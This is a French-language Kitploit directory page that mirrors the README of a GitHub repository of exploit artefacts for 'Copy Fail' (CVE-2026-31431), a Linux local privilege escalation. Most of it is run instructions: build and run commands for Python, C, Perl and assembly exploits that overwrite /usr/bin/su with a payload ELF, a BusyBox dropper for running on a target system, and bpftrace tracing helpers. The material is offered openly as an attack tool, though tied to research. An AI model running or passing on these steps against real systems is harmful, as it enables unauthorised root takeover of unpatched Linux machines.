Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-31431-Copy-Fail — Artefacts de recherche, scripts PoC et ressources de laboratoire pour l'article sur l'élévation de privilèges locaux Linux Copy Fail sur https://4xura.com/binex/kernel/copy-fail | Kitploit
Outils/GitHubGitHub/4xura/cve-2026-31431-copy-fail
Escalade de PrivilègesExploitationShellcodeArticles et RechercheApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de BinairesLabs et Pratique

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
4xura/cve-2026-31431-copy-fail

CVE-2026-31431-Copy-Fail

Artefacts de recherche, scripts PoC et ressources de laboratoire pour l'article sur l'élévation de privilèges locaux Linux Copy Fail sur https://4xura.com/binex/kernel/copy-fail

Voir le dépôt
73il y a 3 moisPas encore vérifié

CVE-2026-31431 : Quand la copie n'est pas une copie et que l'échec arrive trop tard

Artéfacts et scripts pour l'analyse CopyFail.

La procédure pas à pas détaillée :

  • https://4xura.com/binex/kernel/copy-fail/

Structure

  • proof-of-concept/ contient les démos primitives uniquement utilisées dans l'analyse.
  • exploit-scripts/ contient les implémentations complètes de l'exploit en Python, C, Perl et assembleur x86_64.
  • bpftrace-scripts/ contient les petits assistants de traçage utilisés lors de l'analyse en temps réel.

Prérequis

Seuls les artéfacts Perl, assembleur et BusyBox nécessitent un ELF de remplacement externe. Dans les exemples ci-dessous, ce fichier est nommé payload.pwnkit.elf, mais tout nom de fichier convient.

Cette charge utile n'est pas générée dans ce dépôt. Construisez-la d'abord en suivant le workflow de charge utile décrit dans l'analyse, puis placez l'ELF résultant dans le même répertoire de travail que l'artéfact que vous souhaitez exécuter.

Les PoCs primitives et les pilotes d'exploit Python/C sont directement exécutables tels quels.

1. PoCs primitives

Ces PoCs sont principalement destinés à la démonstration dans l'analyse. Ils montrent la primitive d'écrasement de manière isolée, pas le flux complet de remplacement-exécution.

Pour exécuter la démo Python, entrez dans le répertoire PoC et exécutez le script :

root@kitploit:~
cd proof-of-concept
python3 copyfail_poc.py

Pour exécuter la démo C, construisez-la d'abord, puis exécutez le binaire résultant :

root@kitploit:~
cd proof-of-concept
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
./copyfail_poc

2. Exploit Python

L'exploit Python est autonome et conserve les octets de remplacement dans le script lui-même.

Placez-vous dans le répertoire de l'exploit et exécutez le chemin cible par défaut :

root@kitploit:~
cd exploit-scripts
python3 exploit.py

Si vous souhaitez un nom de base cible différent, passez-le comme premier argument. Pour activer les journaux d'écrasement par morceau, définissez DEBUG=1 :

root@kitploit:~
python3 exploit.py su
DEBUG=1 python3 exploit.py su

3. Exploit C

L'exploit C est également autonome. Si vous voulez mettre en place un remplacement différent, modifiez d'abord PAYLOAD_BYTES dans exploit-scripts/exploit.c.

Construisez le binaire statique (optionnel) comme ceci :

root@kitploit:~
cd exploit-scripts
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz

Exécutez ensuite la cible par défaut, ou passez un nom de base différent. La journalisation de débogage est contrôlée via DEBUG=1 :

root@kitploit:~
./exploit
./exploit su
DEBUG=1 ./exploit su

4. Exploit Perl

Cette version lit une charge utile ELF externe au lieu d'intégrer des octets de remplacement dans le script.

Exécutez-le depuis le répertoire de l'exploit. Sans arguments supplémentaires, il utilise la cible par défaut et le chemin de charge utile par défaut :

root@kitploit:~
cd exploit-scripts
perl exploit.pl

Si vous souhaitez choisir explicitement à la fois le chemin de la victime et l'ELF de la charge utile, passez-les comme arguments. La journalisation de débogage est également contrôlée via DEBUG=1 :

root@kitploit:~
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf

5. Exploit en assembleur

Cette version consomme également une charge utile ELF externe. Dans l'exemple ci-dessous, elle est nommée payload.pwnkit.elf, mais vous pouvez utiliser n'importe quel nom de fichier. Si vous le renommez, mettez à jour la ligne incbin dans exploit-scripts/exploit.asm en conséquence.

Construisez le pilote en assembleur avec nasm et ld :

root@kitploit:~
cd exploit-scripts
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o

Exécutez ensuite la cible par défaut, ou passez un chemin cible complet :

root@kitploit:~
./exploit_asm
./exploit_asm /usr/bin/su

6. Dropper BusyBox

Cela empaquette le pilote en assembleur et une charge utile ELF externe en un seul exécuteur compatible BusyBox. L'exemple ci-dessous utilise payload.pwnkit.elf, mais tout nom de fichier de charge utile convient tant que vous passez le même chemin au packer.

Générez le dropper depuis le répertoire de l'exploit :

root@kitploit:~
cd exploit-scripts
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh

Sur le système cible, exécutez le script généré avec BusyBox sh :

root@kitploit:~
busybox sh ./copyfail-busybox.sh /usr/bin/su

7. Assistants Bpftrace

Avant d'exécuter les assistants de traçage, vérifiez que les symboles pertinents sont disponibles :

root@kitploit:~
sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'

Pour observer les pages de fichier entrant dans le chemin splice, exécutez :

root@kitploit:~
sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt

Pour observer les données soutenues par un tube atteignant AF_ALG, exécutez :

root@kitploit:~
sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt

Pour observer le rappel de déchiffrement vulnérable authencesn, exécutez :

root@kitploit:~
sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt
Télécharger l’outil